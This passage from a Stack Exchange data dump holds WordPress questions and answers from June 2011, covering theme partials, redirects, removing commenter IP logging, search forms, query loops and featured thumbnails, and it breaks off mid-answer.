  <row Id="20672" PostTypeId="1" CreationDate="2011-06-22T06:58:12.660" Score="0" ViewCount="72" Body="&lt;p&gt;I'd like to set up a partial rendering system in Wordpress (custom theme) to break up all the pieces of my template a bit better, keep things organized, etc.  Anyway, In my functions.php I have a function for rendering views:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_partial($view_name)&#xA;{&#xA;    $path = mango_env::$views_folder.DS.$view_name.P.mango_env::$extension;&#xA;&#xA;    if (is_file($path)) &#xA;    {&#xA;        ob_start();&#xA;        include $path;&#xA;        return ob_get_clean();&#xA;    }&#xA;    else&#xA;    {&#xA;    return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The logic here is that for whatever reason the view isn't found, instead of throwing a warning (the default PHP  behavior), it just returns false.  Otherwise it returns the included file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mango_env:: is just a class being instantiated, DS and P are just constants I've defined to avoid typing out .'/'. and .'.'. over and over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, is_file (and it's equivalent, file_exists()) both return false, even if I'm referencing a file in the same directory, where there's no chance my path could be wrong.  Does Wordpress set any php configuration options that would cause these operations to fail?  I've verified this is not a permissions problem (set 777 on views folder and contents, just in case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI - PHP version is 5.3 latest&lt;/p&gt;&#xA;" OwnerUserId="5697" LastActivityDate="2011-06-22T06:58:12.660" Title="is_file, file_exists problems with wordpress?" Tags="&lt;php&gt;" CommentCount="3" />
  <row Id="20673" PostTypeId="2" ParentId="17617" CreationDate="2011-06-22T07:19:46.597" Score="4" ViewCount="" Body="&lt;p&gt;Well, actually Wordpress provides &lt;code&gt;wp redirect&lt;/code&gt; function. And here is a small plugin I've used a while back&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$redirect_meta_key = 'redirect_to';&#xA;&#xA;add_action('template_redirect', 'redirect_this');&#xA;&#xA;function redirect_this($nothing)&#xA;{&#xA;    global $wp_query, $redirect_meta_key;&#xA;&#xA;    if(is_single() || is_page()) {&#xA;        $redirect = get_post_meta($wp_query-&amp;gt;post-&amp;gt;ID, $redirect_meta_key, true);&#xA;        if('' != $redirect) {&#xA;            wp_redirect($redirect);&#xA;            header(&quot;Status: 302&quot;);&#xA;            exit;&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No all you have to do is to it in a custom field &lt;code&gt;redirect_to&lt;/code&gt; with a value of absolute path to the other page, or alternatively, add a custom meta box&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-22T07:19:46.597" />
  <row Id="20675" PostTypeId="2" ParentId="20514" CreationDate="2011-06-22T08:44:08.817" Score="1" ViewCount="" Body="&lt;p&gt;You shouldn't need to use a custom SQL query - stick to the built-in method &lt;code&gt;wp_delete_post()&lt;/code&gt;. This will also clear out all term relationships too.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-22T08:44:08.817" CommentCount="3" />
  <row Id="20676" PostTypeId="1" CreationDate="2011-06-22T09:00:36.923" Score="0" ViewCount="48" Body="&lt;p&gt;For example, can I use the POST method to submit a post that includes the category, tags, featured image, uploads (e.g. other images), etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I'm wondering is because I want to create a form that users can use to submit posts with one single action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, I'd like for them to be able to submit the following in the form:&#xA;post title&#xA;post description (excerpt)&#xA;featured image&#xA;categories&#xA;tags&#xA;location (added by plugin)&#xA;extra images (optional)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want them to worry about content formatting so the main content isn't necessary.&#xA;Then, i'd like to take this information and use it in a custom post template that shows the title, the description, the featured image, entry-meta (cats and tags), and the location (again, a plugin shows this). If there are extra images, then the template would also include a gallery view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So really, I want to minimize my users from posting all sorts of posts with different formats. I wish to enforce a strict sense of content format throughout all posts by eliminating the main content box. In this sense, all posts will have the same exact format that is out of the user's control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why I'm asking if it's possible to pass all those things with one single HTTP request...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ideas are definitely welcome!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I curently know that the majority of the wp-admin/edit.php form is all passed in one action, but i noticed that the featured image and uploads are seperate (tags too?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, perhaps it is simple... Let me know what you think I can do! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1226" LastEditorUserId="1226" LastEditorDisplayName="" LastEditDate="2011-06-27T03:46:24.247" LastActivityDate="2011-06-27T03:46:24.247" Title="Is it possible to submit a post including tags, categories, featured images, uploads, etc, all in one single HTTP transaction from the front-end? how?" Tags="&lt;posts&gt;&lt;editor&gt;&lt;forms&gt;&lt;post-formats&gt;" CommentCount="6" FavoriteCount="1" />
  <row Id="20677" PostTypeId="1" AcceptedAnswerId="20687" CreationDate="2011-06-22T09:04:45.403" Score="0" ViewCount="88" Body="&lt;p&gt;I'm fairly new to wordpress. I'm trying to develop a website with search option to find available room information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add a search box where people would be able to enter their information and hit the Search button. Then it'll display the available rooms. Something like the below website&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.easytobook.com/?amu=1972100201&quot; rel=&quot;nofollow&quot;&gt;http://www.easytobook.com/?amu=1972100201&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a duplicate question please accept my apologies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6400" LastActivityDate="2011-06-22T10:48:29.303" Title="How to add search form in main page body?" Tags="&lt;plugin-development&gt;&lt;form&gt;" AnswerCount="2" />
  <row Id="20678" PostTypeId="1" AcceptedAnswerId="20721" CreationDate="2011-06-22T09:05:26.420" Score="0" ViewCount="46" Body="&lt;p&gt;I have read &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1604/using-wpdb-to-connect-to-a-separate-database&quot;&gt;here&lt;/a&gt; about switching the current wp database on the fly using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;select('database_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once done, I understand that i will have to issue the same statement to the original database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Right after changing the database, do i need to flush caches or similar stuff to get things working properly? Will I need to call again WP header?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Potential issues?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2011-06-22T17:11:42.110" Title="Switching database on the fly" Tags="&lt;database&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="20679" PostTypeId="1" AcceptedAnswerId="20681" CreationDate="2011-06-22T09:20:22.487" Score="2" ViewCount="78" Body="&lt;p&gt;Going through the comments table on my wordpress site, I noticed that wordpress is storing the ip address of everyone who makes a comment on my site. How do I remove this functionality? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not just talking about the display of the ip in the template, I mean I don't want wordpress to capture it in the first place. &lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-06-22T09:57:34.607" Title="How do I turn off wordpress comments ability to capture a users ip address?" Tags="&lt;comments&gt;&lt;ip&gt;" AnswerCount="1" />
  <row Id="20680" PostTypeId="1" AcceptedAnswerId="20682" CreationDate="2011-06-22T09:22:17.363" Score="0" ViewCount="38" Body="&lt;p&gt;I need to install wordpress plugin for placing source codes to my blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, the following snapshot describes that I have already uploaded plugin to proper place.&#xA;I didn't make even a single change to that directory &amp;amp; It is uploaded without any intact. What should be the next step for activating this plugin ? ( I am using my own domain )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/0Gy5L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed steps 1 &amp;amp; 2 from &lt;a href=&quot;http://codex.wordpress.org/Managing_Plugins#Manual_Plugin_Installation&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. I am confused what to do for further steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for sharing your knowledge.&#xA;&lt;br&gt;Sugar.&lt;/p&gt;&#xA;" OwnerUserId="6401" LastActivityDate="2011-06-22T10:45:42.707" Title="Installing a Plugin ( Which is already manually uploaded )" Tags="&lt;plugins&gt;&lt;wordpress.com&gt;&lt;installation&gt;&lt;install&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20681" PostTypeId="2" ParentId="20679" CreationDate="2011-06-22T09:48:43.930" Score="2" ViewCount="" Body="&lt;p&gt;Add this to your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('pre_comment_user_ip', 'no_ips');&#xA;function no_ips($comment_author_ip){&#xA;  return '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll still have the comment_author_IP field in the db, but it will be empty...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to remove existing IP records from the db run this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `wp_comments` SET `comment_author_IP` = ''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-06-22T09:57:34.607" LastActivityDate="2011-06-22T09:57:34.607" CommentCount="1" />
  <row Id="20682" PostTypeId="2" ParentId="20680" CreationDate="2011-06-22T09:54:12.200" Score="1" ViewCount="" Body="&lt;p&gt;Ok from here you have two options available:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Dont know if you have done this already but you will need to go to &lt;strong&gt;wp-admin &gt;&gt; plugins&lt;/strong&gt; (its at the left of the wp-admin dashboard beneath &quot;appearance&quot;) from here if all is well with your manual upload you should see your plugin title in the main area, just click activate plugin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If its not there, then remove the files you have uploaded and go back to wp-admin plugins, at the top you see an area where it says &quot;Plugins&quot; and a button that says &quot;Add New&quot;, click &quot;add new&quot; button and the page will re-load. Use the Search for the plugin from the wp repository (search for its title) and grab it from there, just follow the onscreen instructions.. very easy..&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-22T09:54:12.200" CommentCount="1" />
  <row Id="20683" PostTypeId="1" CreationDate="2011-06-22T10:09:52.040" Score="0" ViewCount="120" Body="&lt;p&gt;I would like my Custom Post Types to bee full text feeds, with the whole content.&#xA;This url of course works &lt;a href=&quot;http://sitename.com/feed/?post_type=name&quot; rel=&quot;nofollow&quot;&gt;http://sitename.com/feed/?post_type=name&lt;/a&gt;, but I only get excerpts in the feed. Regardless of setting feeds to be full text in Panel Settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is snippets for including the Custom Post Types feed to the main feed. But I want separate feeds to be full content feeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankful for help&lt;/p&gt;&#xA;" OwnerUserId="6403" LastActivityDate="2011-06-22T13:49:13.497" Title="Full RSS feeds for Custom Post Types" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="20684" PostTypeId="2" ParentId="20677" CreationDate="2011-06-22T10:30:25.990" Score="0" ViewCount="" Body="&lt;p&gt;Please add this to your header.php file beside the RSS icon.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;&amp;lt;?php bloginfo('home'); ?&amp;gt;/&quot;&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;input type=&quot;text&quot; size=&quot;18&quot; value=&quot;&amp;lt;?php echo wp_specialchars($s, 1); ?&amp;gt;&quot; name=&quot;s&quot; id=&quot;s&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;Search&quot; class=&quot;btn&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;....this is simple search form...&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-22T10:30:25.990" />
  <row Id="20685" PostTypeId="1" AcceptedAnswerId="20699" CreationDate="2011-06-22T10:31:26.193" Score="0" ViewCount="68" Body="&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/UdJAX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am entering valid details, though wordpress keep prompting same as follows. What would be the wrong thing ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : Even after modifying the permissions as follows, I am getting same errors.&lt;img src=&quot;http://i.stack.imgur.com/8YNV6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6401" LastEditorUserId="6401" LastEditorDisplayName="" LastEditDate="2011-06-23T13:54:36.133" LastActivityDate="2011-06-23T13:54:36.133" Title="Wordpress - connection information" Tags="&lt;plugins&gt;&lt;wordpress.com&gt;&lt;installation&gt;&lt;hosting&gt;&lt;install&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="20687" PostTypeId="2" ParentId="20677" CreationDate="2011-06-22T10:48:29.303" Score="0" ViewCount="" Body="&lt;p&gt;I just wanted to add two small things for other peoples....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if your template supports it you can just add :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php include (TEMPLATEPATH . '/searchform.php'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2.adding the following code will put a text inside the search box. (like &quot;Write your search and hit Enter&quot; )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;&amp;lt;?php bloginfo('home'); ?&amp;gt;/&quot;&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;input type=&quot;text&quot; size=&quot;put_a_size_here&quot; name=&quot;s&quot; id=&quot;s&quot; value=&quot;Write your search and hit Enter&quot; onfocus=&quot;if(this.value==this.defaultValue)this.value='';&quot; onblur=&quot;if(this.value=='')this.value=this.defaultValue;&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;Search&quot; class=&quot;btn&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and finally, combining those two advices, just save the code from part two as searchform.php in your template folder, and you can always call it with method number 1.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-22T10:48:29.303" />
  <row Id="20688" PostTypeId="1" CreationDate="2011-06-22T11:21:27.610" Score="0" ViewCount="45" Body="&lt;p&gt;We're currently running a multisite wordpress install for 4 sites. Running into problems with pretty much every plugin ever made (mostly issues with user account creation etc), I'd really like to switch over to 4 single installs. However, I'm wondering if the server resource usage will be significantly affected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I see it, the overhead of running the multisite management on top of these blogs outweighs any losses we would see from running them separately, especially when we're only talking about 4 sites. Can anyone offer some more insight here? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="5907" LastActivityDate="2011-06-22T11:21:27.610" Title="4 single sites VS multisite wordpress" Tags="&lt;multisite&gt;" CommentCount="2" />
  <row Id="20689" PostTypeId="1" AcceptedAnswerId="20716" CreationDate="2011-06-22T11:23:13.720" Score="0" ViewCount="123" Body="&lt;p&gt;I am Using Wordpress. I installed Contact form7.Now I Want To Add Captcha with Contact form7.I Don't like &quot;Really Simple Captcha&quot; because it shows very simple images.Any other Captcha Plugin Support Contact form7?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Need Like the output of  &quot;&lt;strong&gt;SI CAPTCHA Anti-Spam&quot;&lt;/strong&gt; or &quot;Fast Secure Contact Form&quot;,Here Unfortunately I can't Remove Contact form7 Plugin.So I Want to Add Captcha Plugin with my Contact form7.Please Help Me.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="4022" LastEditorDisplayName="" LastEditDate="2011-06-22T15:35:58.743" LastActivityDate="2011-06-22T16:09:56.603" Title="contact form 7 captcha support anyother captcha plugin?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;wordpress.com&gt;" AnswerCount="1" />
  <row Id="20690" PostTypeId="2" ParentId="20683" CreationDate="2011-06-22T11:41:11.473" Score="2" ViewCount="" Body="&lt;p&gt;This is browser issue and not an issue with WordPress. WordPress will obey the setting in Reading Settings option screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Full text is not shown on Firefox and Google Chrome. That is the way Firefox and Google Chrome works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to it on IE and it works. I don't have other browsers installed here to check if it works on other browsers.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-06-22T11:41:11.473" CommentCount="1" />
  <row Id="20691" PostTypeId="1" CreationDate="2011-06-22T12:53:25.773" Score="0" ViewCount="80" Body="&lt;p&gt;Is there a way to populate a custom field in wp-ecommerce checkout page with the previos page title? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like this info to be visible on the store sales page if possible. &lt;/p&gt;&#xA;" OwnerUserId="6224" LastActivityDate="2011-06-22T12:53:25.773" Title="Populate custom field in wp-ecommerce checkout page with previos page title" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;plugin-wp-e-commerce&gt;" />
  <row Id="20692" PostTypeId="1" AcceptedAnswerId="20700" CreationDate="2011-06-22T13:33:04.047" Score="0" ViewCount="52" Body="&lt;p&gt;Is it possible to add some html after a set amount of posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the purposes of a slider after 6 posts i need it to enclose in a div/li or whatever then start a new div/li for the next 6 and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my custom query which just prints the post name in a list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&#xA;&amp;lt;?php $args=array('post_type' =&amp;gt; 'courses','post_status' =&amp;gt; 'publish','posts_per_page' =&amp;gt; -1);$my_query = null;$my_query = new WP_Query($args);if( $my_query-&amp;gt;have_posts() ) {while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;   &#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/li&amp;gt; &#xA;&#xA;&amp;lt;?php endwhile;} wp_reset_query();?&amp;gt; &#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After at the start and end of 6 posts i need to open a div then close it after the 6th post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with WordPress PHP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any help :)&lt;/p&gt;&#xA;" OwnerUserId="4630" LastActivityDate="2011-06-22T14:48:39.363" Title="Query add html after set amount of posts?" Tags="&lt;query-posts&gt;&lt;multiple&gt;" AnswerCount="2" />
  <row Id="20693" PostTypeId="1" CreationDate="2011-06-22T13:44:32.517" Score="0" ViewCount="42" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/20691/populate-custom-field-in-wp-ecommerce-checkout-page-with-previos-page-title&quot;&gt;Populate custom field in wp-ecommerce checkout page with previos page title&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Is there a way I can grab the previous page I visited page title?&#xA;I would like to be able to use the info in wp-ecommerce checkout.&lt;/p&gt;&#xA;" OwnerUserId="6224" LastActivityDate="2011-06-22T13:44:32.517" ClosedDate="2011-06-22T18:06:48.520" Title="Get previous page title" Tags="&lt;page&gt;&lt;title&gt;" CommentCount="0" />
  <row Id="20695" PostTypeId="1" AcceptedAnswerId="20696" CreationDate="2011-06-22T13:53:06.360" Score="0" ViewCount="28" Body="&lt;p&gt;In my blog, my &quot;pages&quot; are really just posts sorted by categories. What's the best way to change the way the posts look for one of my category pages?&lt;/p&gt;&#xA;" OwnerUserId="6408" LastActivityDate="2011-06-22T14:09:51.467" Title="Different post views for different category views" Tags="&lt;posts&gt;&lt;categories&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="20696" PostTypeId="2" ParentId="20695" CreationDate="2011-06-22T14:09:51.467" Score="1" ViewCount="" Body="&lt;p&gt;For styling archive index pages for a given category, target &lt;code&gt;body.category-slug&lt;/code&gt; (where &lt;code&gt;slug&lt;/code&gt; is the category slug) in CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For styling single blog posts that have a given category, assuming your post container is a div, target &lt;code&gt;div.category-slug&lt;/code&gt; (where &lt;code&gt;slug&lt;/code&gt; is the category slug) in CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For PHP operations, you can also use &lt;code&gt;is_category( 'slug' )&lt;/code&gt;, which returns true if you are on the archive index page for a given category, and you can use &lt;code&gt;in_category( 'slug' )&lt;/code&gt; which returns true if the current post is in a given category.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-22T14:09:51.467" CommentCount="1" />
  <row Id="20697" PostTypeId="1" CreationDate="2011-06-22T14:15:37.550" Score="0" ViewCount="65" Body="&lt;p&gt;I need to call the alt tag for images on my site dynamically.  The only thing I can find online is to use the post title function but that doesn't really help me out.  &lt;/p&gt;&#xA;" OwnerUserId="6409" LastActivityDate="2011-08-22T13:33:23.897" Title="can you call the alt tag for an image dynamically?" Tags="&lt;img&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20698" PostTypeId="2" ParentId="20697" CreationDate="2011-06-22T14:28:12.980" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at this: &lt;a href=&quot;http://www.webtechwise.com/wordpress-filter-examples-changing-attributes-when-adding-images-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Changing Attributes When Adding Images to Posts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're going to need to do is a filter to the &lt;code&gt;get_image_tag&lt;/code&gt; hook that does a &lt;code&gt;str_replace&lt;/code&gt; of the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag to add in your new &lt;code&gt;alt&lt;/code&gt; attribute&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-22T14:28:12.980" />
  <row Id="20699" PostTypeId="2" ParentId="20685" CreationDate="2011-06-22T14:32:11.430" Score="1" ViewCount="" Body="&lt;p&gt;It's almost certainly a permissions problem - your &lt;code&gt;wp-content&lt;/code&gt; folder must be writable by your webserver user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically setting permissions to &lt;code&gt;755&lt;/code&gt; will sort this.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-22T14:32:11.430" />
  <row Id="20700" PostTypeId="2" ParentId="20692" CreationDate="2011-06-22T14:40:59.657" Score="1" ViewCount="" Body="&lt;p&gt;Here's one way of doing it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$courses = get_posts( array(&#xA;    'post_type' =&amp;gt; 'courses',&#xA;    'posts_per_page' =&amp;gt; -1&#xA;    ) );&#xA;&#xA;if ( $courses ) {&#xA;    print &quot;\n&quot; . '&amp;lt;div style=&quot;background:pink&quot;&amp;gt;';&#xA;    foreach ( $courses as $course_count =&amp;gt; $post ) {&#xA;        setup_postdata( $post );&#xA;        the_title( &quot;\n&quot;, '&amp;lt;br&amp;gt;' );&#xA;        if ( 5 == $course_count ) {&#xA;            print &quot;\n&quot; . '&amp;lt;/div&amp;gt;';&#xA;            print &quot;\n&quot; . '&amp;lt;div style=&quot;background:yellow;&quot;&amp;gt;';&#xA;        }&#xA;    }&#xA;    print &quot;\n&quot; . '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;wp_reset_postdata();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-06-22T14:40:59.657" />
  <row Id="20701" PostTypeId="2" ParentId="20692" CreationDate="2011-06-22T14:48:39.363" Score="0" ViewCount="" Body="&lt;p&gt;a possible way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;  &#xA;&amp;lt;?php $args=array('post_type' =&amp;gt; 'courses','post_status' =&amp;gt; 'publish','posts_per_page' =&amp;gt; -1);$my_query = null;&#xA;$my_query = null;&#xA;$my_query = new WP_Query($args);&#xA;    $count = 0; //initialize count variable    &#xA;    if( $my_query-&amp;gt;have_posts() ) { while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;      &#xA;        &amp;lt;?php if( $count%6 == 0 ) { ?&amp;gt;OUTPUT OPENING HTML TAG&amp;lt;?php } ?&amp;gt;       &#xA;    &amp;lt;li&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/li&amp;gt;    &#xA;        &amp;lt;?php if( $count%6 == 5 ) { ?&amp;gt;OUTPUT CLOSING HTML TAG&amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;?php $count++; ?&amp;gt;       &#xA;    &amp;lt;?php endwhile; }  ?&amp;gt;    &#xA;        &amp;lt;?php if( $count%6 != 0 ) { ?&amp;gt;OUTPUT CLOSING HTML TAG&amp;lt;?php } // in case there is not a multiple of 6 posts ?&amp;gt;       &#xA;&amp;lt;?php wp_reset_query();?&amp;gt;   &#xA;&amp;lt;/ul&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-22T14:48:39.363" CommentCount="1" />
  <row Id="20702" PostTypeId="1" AcceptedAnswerId="24921" CreationDate="2011-06-22T14:52:57.393" Score="2" ViewCount="117" Body="&lt;p&gt;I'm using a lot of thumbnails but never the original file. To save space, I'd like to prevent the original from being saved on disk but only keep a thumbnail of 100px. How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dennis&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-08-04T11:53:43.593" Title="Delete original image - keep thumbnail?" Tags="&lt;post-thumbnails&gt;&lt;attachments&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="20703" PostTypeId="1" AcceptedAnswerId="20704" CreationDate="2011-06-22T15:08:57.363" Score="0" ViewCount="74" Body="&lt;p&gt;I'm using wp_insert_post and media_sideload_image to create a post and attach a single image to the post. However, how can I mark this attached image as featured thumbnail? It would make listing the thumbnails significantly faster by using the_post_thumbnail instead of looping through each post manually showing the first image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I mark the attached image as featured thumbnail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dennis&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-06-22T21:05:23.187" Title="Set (featured) thumbnail for post?" Tags="&lt;post-thumbnails&gt;&lt;attachments&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20704" PostTypeId="2" ParentId="20703" CreationDate="2011-06-22T15:13:07.347" Score="2" ViewCount="" Body="&lt;p&gt;Perhaps use &lt;code&gt;set_post_thumbnail()&lt;/code&gt;? (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/set_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;Codex ref.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the attachment ID using the Post ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Associative array of attachments, as $attachment_id =&amp;gt; $attachment&#xA;$attachments = get_children( array('post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; 'ASC', 'orderby' =&amp;gt; 'menu_order ID') );&#xA;&#xA;$attachment = $attachments[0]; // ID of your single, attached image.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to set it as the featured 